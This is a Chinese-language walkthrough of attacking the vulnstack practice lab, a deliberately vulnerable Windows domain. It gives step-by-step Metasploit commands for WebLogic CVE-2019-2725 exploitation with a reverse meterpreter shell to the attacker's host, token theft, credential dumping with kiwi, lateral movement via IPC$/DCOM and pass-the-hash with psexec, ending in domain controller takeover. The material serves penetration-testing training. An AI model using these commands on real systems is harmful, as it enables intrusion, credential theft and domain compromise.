vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：漏洞详情
拓扑结构大体如下：
环境搭建
Kali
ip:192.168.111.135
Web
Ip1:192.168.111.80
Ip2:10.10.10.80
os:windows 2008
应用:weblogic 10.3.6 mssql 2008
Pc
Ip1:192.168.111.201
Ip2:10.10.10.201
Os:windows7
DC
ip:10.10.10.10
os:windows 2012
应用:AD域
内网:10.10.10.0/24
外网:192.168.111.0/24
从web机开始渗透, 这里需要手动开启服务,在C:
\Oracle\Middleware\user_projects\domains\base_domain\bin 有一个startweblogic的批处理, 然后管理员身份运行
账号/密码:Administrator/1qaz@WSX
外网渗透
- 先开始nmap扫描一下192.168.111.0/24存活主机
然后对80 主机进行信息收集扫描
通过445端口开放就存在smb服务可能还会有ms17-010/端口溢出漏洞.
开放139端口 就纯真samba服务 于是判断可能会有/远程命令执行漏洞
开放1433端口 就存在mssql服务 有可能存在爆破/注入/SA弱口令
开放3389 那就是远程桌面喽
7001端口 百度了一下得知是 weblogic服务
weblogicScan进行扫描漏洞
然后百度了一下 CVE-2019-2725漏洞
CVE-2019-2725是一个 weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder（xml解码器）反序列化漏洞
然后通过msf查看一下漏洞利用脚本
然后进入开始利用模块
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice 进入CVE-2019-2725攻击漏洞模块
set target windows 这个模块默认是unix 所以我们的目标是windows 所以 改一下即可
Set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.135
Set rhosts 192.168.111.80 要攻击目标
run
本来想直接提权,但是发现不能提system权限
system权限
方法1.
然后通过显示进程pid 然后用 migrate 进行进程迁移 获得system权限
方法2.
还可以通过令牌窃取的方式进行提权
load incognito #加载incognito(伪装)
Getuid #查看当前token
list_tokens -u #列出可用token
impersonate_token "NT AUTHORITY\\SYSTEM" #token窃取，格式为impersonate_token"主机名\\用户名"
rev2self #返回之前的token
然后使用 kiwi 获取 hash 账号密码
然后获得了域里的用户和密码 下面使用用户密码进行远程登录
开始第二阶段的信息搜集
Net config workstation #查域信息
得到域信息 还有10.10.10.0/24网段
设置一条通往10.10.10.0/24网段的路由
然后设置代理
使用use post/windows/gather/arp_scanner模块
扫描网段存活主机
然后又通过web 进行信息收集了一下
得知 10.10.10.10 就是域控
域成员 处理web 还有一个PC机
然后判断PC ip是10.10.10.201
下面渗透pc域用户
方法一
首先用kali生成一个payload
然后通过web机 上传到 10.10.10.201c盘
先上传到web里
再控制WEB主机与PC建立一个ipc$连接：
net use \\10.10.10.201\ipc$ "lbb1111.." /user:administrator
然后把刚才上传的文件copy到10.10.10.201 c盘
然后再meterpreter中载入powershell模块
在powershell里面执行如下命令，控制WEB主机使用DCOM在远程机器PC上执行刚刚上传到PC主机C盘里的木马：
然后从新开启一个msf 监听生成的 payload 1520 端口
成功反弹
下面开始提权
方法二
代理nmap扫描10.10.10.201
使用 exploit/windows/smb/psexec模块进行哈希传递
由于一开始再web机得知了域\用户\密码
说以就可以用这个模块直接打了
Set smbdomain DE1AY #域
Set smbuser administrator # 域用户
Set smbpass lbb1111.. #域用户密码
直接system权限
通过扫描得知3389是开哒
然后尝试一下代理远程能不能直接登录
- 向DC 域控发起进攻
同样直接利用msf的exploit/windows/smb/psexec模块进行哈希传递
拿下域控制器 并且是system权限